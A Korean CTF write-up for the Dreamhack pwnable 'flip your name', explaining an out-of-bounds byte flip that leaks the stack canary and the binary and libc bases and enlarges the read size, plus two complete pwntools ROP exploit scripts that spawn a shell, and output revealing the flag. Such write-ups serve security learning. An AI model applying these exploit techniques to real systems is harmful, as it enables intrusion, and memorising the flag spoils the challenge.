Description
Flip your name
checksec
seo@seo:~/Desktop/flip_your_name$ checksec ./flipyourname [*] '/home/seo/Desktop/flip_your_name/flipyourname' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
모든 보호 기법이 적용되어있다.
Decompiled-src
main
__int64 __fastcall main(int a1, char **a2, char **a3) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); sub_11E9(); return 0LL; }
sub_11E9
unsigned __int64 sub_11E9() { __int64 v1; // [rsp+8h] [rbp-68h] BYREF char s[88]; // [rsp+10h] [rbp-60h] BYREF unsigned __int64 v3; // [rsp+68h] [rbp-8h] v3 = __readfsqword(0x28u); do { memset(s, 0, 81uLL); printf("name? "); read(0, s, nbytes); printf("flip your name :) "); __isoc99_scanf("%ld", &v1); s[v1] = ~s[v1]; printf("hello, %s\n", s); printf("want to quit? "); __isoc99_scanf("%2s", s); } while ( s[0] != 'y' ); return v3 - __readfsqword(0x28u); }
- s 변수의 81바이트만큼 0 값으로 초기화시킨다.
- 2. name?을 출력하여 전역변수 nbytes인 80크기만큼 s에 입력받는다.
- s의 v1 인덱스를 입력받아 s[v1]에는 NOT으로 연산된 바이트로 바꾼다.
hex(~s[v] & 0xff), 만약 s[v]가 0이라면, hex(~0 & 0xff) -> 0xff - hello, %\n을 통해 s에 담긴 문자열을 출력한다.
- 프로그램을 종료할건지 “want to quit?”을 출력하는데,
여기서 “y”를 입력하면 루프문을 빠져나오지만, 그 외에 다른 문자를 입력하면 다시 1번 과정으로 돌아간다.
Solution
위 그림은 sub_11E9의 스택 구조를 나타낸 것,
name?에서 A를 80바이트만큼 채우고,
flip your name에서 86을 입력했을 때, not 수행하기 전의 스택 구조이다.
printf 함수는 \x00까지 문자열을 출력하지만,
s의 인덱스인 v1값을 적절히 조절하여 oob write가 가능하기 때문에
스택 카나리와 sub_11E9’s RET을 통해 flipyourname base주소, 그리고 main’s RET을 통해 libc base 주소를 구하는 것이 가능하다.
s[86] ~ s[88],
s[102] ~ s[103],
s[110] ~ s[111],
s[113] ~ s[119]를 not으로 연산된 값으로 덮혀야 leak을 할 수 있는데,
이때 항상 마지막에 s[80]에 not으로 연산된 값으로 덮어써야 된다.
while문 초기에 항상 s 변수를 81바이트만큼 0 값으로 초기화시킴으로써 s[80]이 0으로 덮히기 때문이다.
flipyourname base 주소와 char s[88] 주소를 구했다면,
그 거리를 계산해서, 전역변수 nbytes인 80을 not 연산된 값으로 덮어써야 된다.
그러면 80이었던 nbytes가 hex(~80 & 0xff) = 0xaf, 175로 덮어써져서
이제 read함수에서 80바이트만큼만 받던게 175바이트로 늘려져,
버퍼 오버플로우가 발생시킬 수 있고 따라서 main’s RET을 조작할 수 있게 된다.
페이로드를 구성한다면,
위는 문제서버의 libc 파일에 있는 “/bin/sh” 문자열 주소,
system 함수를 호출할때 50D8B 주소를 보면 sub_50900를 통해 호출한다는 것을 알 수 있고,
2a3e5 주소에 있는 pop rdi, retn 가젯을 통해 rop으로 system(“/bin/sh”)를 실행시켜 쉘을 획득할 수 있다.
만약에 libc나 도커 환경이 주어지지 않은 경우였다면,
rop을 통해 flipyourname에 있는 read got 주소를 printf 함수를 통해 노출시키고, 거기에 libc_base주소를 뺀 값을
위 사이트에서 검색해서 해당 오프셋에 맞는 libc를 구할 수도 있겠다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') #p = process("./flipyourname") p = remote("host3.dreamhack.games", 8286) e = ELF('./flipyourname', checksec=False) def sub_11E9_control(name, flip_index, quit): p.sendafter("name? ", name) #pause() p.sendlineafter("flip your name :) ", str(flip_index)) output = p.recvuntil("\n") output = output.split(b"hello, ")[1] p.sendafter("quit? ", quit + b"\x00") #pause() sub_11E9_control(b"A"*80, 86, b"n") sub_11E9_control(b"A"*80, 87, b"n") sub_11E9_control(b"A"*80, 88, b"n") sub_11E9_control(b"A"*80, 102, b"n") sub_11E9_control(b"A"*80, 103, b"n") sub_11E9_control(b"A"*80, 110, b"n") sub_11E9_control(b"A"*80, 111, b"n") sub_11E9_control(b"A"*80, 113, b"n") sub_11E9_control(b"A"*80, 114, b"n") sub_11E9_control(b"A"*80, 115, b"n") sub_11E9_control(b"A"*80, 116, b"n") sub_11E9_control(b"A"*80, 117, b"n") sub_11E9_control(b"A"*80, 118, b"n") sub_11E9_control(b"A"*80, 119, b"n") name = b"A"*80 p.sendafter("name? ", name) #pause() p.sendlineafter("flip your name :) ", "80") p.recv(96) canary = u64(b"\x00" + p.recv(7)) print(f"canary: {hex(canary)}") name_p = u64(p.recv(6) + b"\x00\x00") - 0x70 print(f"name -> {hex(name_p)}") p.recv(2) bin_base = p.recv(6) bin_base = u64(bin_base + b"\x00\x00") bin_base = bin_base - 0x1345 print(f"bin_base: {hex(bin_base)}") bin_nbytes = bin_base + 0x4010 print(f"bin_nbytes: {hex(bin_nbytes)}") p.recv(10) libc_base = u64(p.recv(6) + b"\x00\x00") - 0x29d90 print(f"libc_base: {hex(libc_base)}") p.sendlineafter("want to quit? ", b"n") #change nbytes to 175 sub_11E9_control(b"A"*80, bin_nbytes - name_p, b"n") pop_rdi_ret = libc_base + 0x2a3e5 payload = b"A"*80 payload += b"B"*8 payload += p64(canary) payload += b"C"*8 payload += p64(pop_rdi_ret) payload += p64(libc_base + 0x1D8698) #/bin/sh payload += p64(libc_base + 0x50d8b) #system (internal) sub_11E9_control(payload, 80, b"y") p.interactive()
Result
seo@seo:~/Desktop/flip_your_name$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 8286: Done canary: 0xd70a8e8eab041000 name -> 0x7ffdf9676780 bin_base: 0x5580ca615000 bin_nbytes: 0x5580ca619010 libc_base: 0x7f9e20e24000 [*] Switching to interactive mode $ ls flag flipyourname $ cat flag DH{08d8ca3b115ef6adafed3c135675f7c809a14f8b2db506b7575c304530e1ebfb} $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 8286
Tried Local
로컬 환경: ubuntu 22.04.4 LTS / libc6 2.35-0ubuntu3.6
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./flipyourname") #p = remote("host3.dreamhack.games", 12197) e = ELF('./flipyourname', checksec=False) def sub_11E9_control(name, flip_index, quit): p.sendafter("name? ", name) pause() p.sendlineafter("flip your name :) ", str(flip_index)) output = p.recvuntil("\n") output = output.split(b"hello, ")[1] p.sendlineafter("quit? ", quit) pause() sub_11E9_control(b"A"*80, 86, "n") sub_11E9_control(b"A"*80, 87, "n") sub_11E9_control(b"A"*80, 88, "n") sub_11E9_control(b"A"*80, 102, "n") sub_11E9_control(b"A"*80, 103, "n") sub_11E9_control(b"A"*80, 110, "n") sub_11E9_control(b"A"*80, 111, "n") sub_11E9_control(b"A"*80, 113, "n") sub_11E9_control(b"A"*80, 114, "n") sub_11E9_control(b"A"*80, 115, "n") sub_11E9_control(b"A"*80, 116, "n") sub_11E9_control(b"A"*80, 117, "n") sub_11E9_control(b"A"*80, 118, "n") sub_11E9_control(b"A"*80, 119, "n") name = b"A"*80 p.sendafter("name? ", name) #pause() p.sendlineafter("flip your name :) ", "80") p.recv(0x6f-8-7) canary = u64(b"\x00" + p.recv(7)) print(f"canary: {hex(canary)}") name_p = u64(p.recv(6) + b"\x00\x00") - 0x70 print(f"name -> {hex(name_p)}") p.recv(2) bin_base = p.recv(6) bin_base = u64(bin_base + b"\x00\x00") bin_base = bin_base - 0x1345 print(f"bin_base: {hex(bin_base)}") bin_nbytes = bin_base + 0x4010 print(f"bin_nbytes: {hex(bin_nbytes)}") p.recv(10) libc_base = u64(p.recv(6) + b"\x00\x00") - 0x29d90 print(f"libc_base: {hex(libc_base)}") p.sendlineafter("want to quit? ", "n") name = b"A"*80 p.sendafter("name? ", name) #pause() p.sendlineafter("flip your name :) ", str(bin_nbytes - name_p)) output = p.recvuntil("\n") output = output.split(b"hello, ")[1] print(output) p.sendlineafter("want to quit? ", "n") one_gadget = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43] pop_rdi_ret = libc_base + 0x2a3e5 pop_rsi_ret = libc_base + 0x2be51 pop_rdx_pop_r12_ret = libc_base + 0x11f2e7 execve = libc_base + 0xEB5A0 #bin_sh = b"/bin/sh\x00" payload = b"A"*(80) payload += b"B"*8 payload += p64(canary) payload += b"C"*8 #payload += b"D"*8 #RET #payload += p64(libc_base + one_gadget[6]) #set rdi payload += p64(pop_rdi_ret) payload += p64(libc_base + 0x1D8678) #arg1: /bin/sh #set rsi payload += p64(pop_rsi_ret) payload += p64(0) #arg2: NULL #set rdx payload += p64(pop_rdx_pop_r12_ret) payload += p64(0) #rdx #arg3: NULL payload += p64(0) #r12 #call execve payload += p64(execve) p.sendafter("name? ", payload) #pause() p.sendlineafter("flip your name :) ", "80") output = p.recvuntil("\n") output = output.split(b"hello, ")[1] print(output) p.sendlineafter("want to quit? ", "y") p.interactive()